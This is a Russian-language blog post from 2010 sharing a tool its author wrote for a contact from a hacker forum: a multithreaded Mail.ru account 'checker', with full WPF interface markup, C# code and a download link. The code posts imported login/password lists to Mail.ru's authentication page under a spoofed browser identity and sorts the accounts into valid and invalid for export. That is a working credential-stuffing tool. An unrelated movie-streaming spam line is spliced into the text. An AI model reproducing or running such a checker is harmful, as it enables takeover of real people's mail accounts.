Мысли вслух…

MailRuChekershke

Автор: Фев.15.2010 Категория: Development, WPF

На выходных хотелось чего-нибудь написать, но при этом чтобы мозг особо и не напрягался.

Тут общаясь со slider’ом понял что у парня проблема. Решил помочь, да и на античате давно нет активности.

Собственно написал ему многопоточный чекер почтовых ящиков для сервиса — Mail.ru (валид/невалид).

Писал на C#, .NET Framework 3.5, Visual Studio 2010 RC1. Заняло 3 часа (+конвертер с его странного формата  :blink: ).

Использовал WPF (В последнее время все больше на него подсаживаюсь).

Собственно ниже идет исходник.

<window x:Class="MailRuChekershke.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:obj="clr-namespace:MailRuChekershke"
        Title="MailRuChecerkshke (c) W!z@rD (special 4 slider)" Height="350" Width="525">
    </window><window .Resources>
        <obj :AccountCollection x:Key="accounts" />
    </window>
    <dockpanel LastChildFill="True">
        <statusbar DockPanel.Dock="Bottom" Height="23">
            <progressbar Name="TotalProgress_pb" Height="21" Width="100"/>
            <textblock Name="Text_tb"></textblock>
        </statusbar>
        <tabcontrol>
            <tabitem Header="Список">
                <listview Name="Accounts_lv" ItemsSource="{DynamicResource accounts}">
                    </listview><listview .View>
                        <gridview>
                            <gridviewcolumn Header="Логин" Width="150" DisplayMemberBinding="{Binding Login}"/>
                            <gridviewcolumn Header="Пароль" Width="130" DisplayMemberBinding="{Binding Password}"/>
                            <gridviewcolumn Header="Домен" Width="100" DisplayMemberBinding="{Binding Domain}"/>
                            <gridviewcolumn Header="Валид?" Width="100" DisplayMemberBinding="{Binding IsValid}"/>
                        </gridview>
                    </listview>
                    <listview .ContextMenu>
                        <contextmenu>
                            <menuitem Header="Импорт" Click="MenuItem_Click" />
                            <menuitem Header="Экспорт">
                                <menuitem Header="Валид" Click="MenuItem_Click_1" />
                                <separator />
                                <menuitem Header="Невалид" Click="MenuItem_Click_2" />
                                <separator />
                                <menuitem Header="Все" Click="MenuItem_Click_3"/>
                            </menuitem>
                            <separator />
                            <menuitem Header="Запустить" Click="MenuItem_Click_5" />
                            <separator />
                            <menuitem Header="Копировать логин" Click="MenuItem_Click_6"/>
                            <menuitem Header="Копировать пароль" Click="MenuItem_Click_7"/>
                            <separator />
                            <menuitem Header="Выход" Click="MenuItem_Click_4" />
                        </contextmenu>
                    </listview>
                
            </tabitem>
            <tabitem Header="Настройки">
                <canvas>
                    <textblock Canvas.Top="10" Canvas.Left="5">Потоков</textblock>
                    <textbox Name="ThreadCount_tb" Canvas.Top="7" Canvas.Left="50" Width="40">5</textbox>
                </canvas>
            </tabitem>
        </tabcontrol>
    </dockpanel>

И функция проверки, простая, особо не заморачивался.Watch Froning The Fittest Man In History (2015) Full Movie Online Streaming Online and Download

public class Checker
{
    public const string URL = "http://xhtml.wap.mail.ru/cgi-bin/auth?rand=1926924592";

    private readonly Account _account;

    public Checker(Account acc)
    {
        _account = acc;
    }

    private static string SendPost(string postData)
    {
        var httpWebRequest = (HttpWebRequest)WebRequest.Create(URL);
        httpWebRequest.AllowAutoRedirect = false;
        httpWebRequest.Method = "POST";
        httpWebRequest.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.5.30729)";
        httpWebRequest.ContentType = "application/x-www-form-urlencoded";
        httpWebRequest.Referer = "http://xhtml.wap.mail.ru/cgi-bin/splash_mail";
        var buffer = Encoding.ASCII.GetBytes(postData);
        httpWebRequest.ContentLength = buffer.Length;
        using (var writer = httpWebRequest.GetRequestStream())
        {
            writer.Write(buffer, 0, buffer.Length);
        }
        using (var httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse())
        {
            using (var stream = httpWebResponse.GetResponseStream())
            {
                using (var reader = new StreamReader(stream, Encoding.GetEncoding(1251)))
                {
                    var data = reader.ReadToEnd();
                    return data;
                }
            }
        }
    }

    public bool IsValid()
    {
        var page = SendPost(string.Format("Login={0}&Domain={1}&Password={2}&page=", _account.Login, _account.Domain, _account.Password));
        return page.IndexOf("title=\"wait...\"", StringComparison.InvariantCultureIgnoreCase) != -1;
    }
}

Скачать исходники

:, ,

3 Comments for this entry

Leave a Reply

:bad: :beer: :biggrin: :blink: :blush: :bomb: :confused: :cool: :crazy: :cry: :dont_know: :eek: :evil: :dance: :heart: :idea: :joke: :kiss: :lol: :mad: :music: :rose: :sad: :smile: :surprised: :tongue: :yahoo: :wall: :wink:
 

Поиск

Список друзей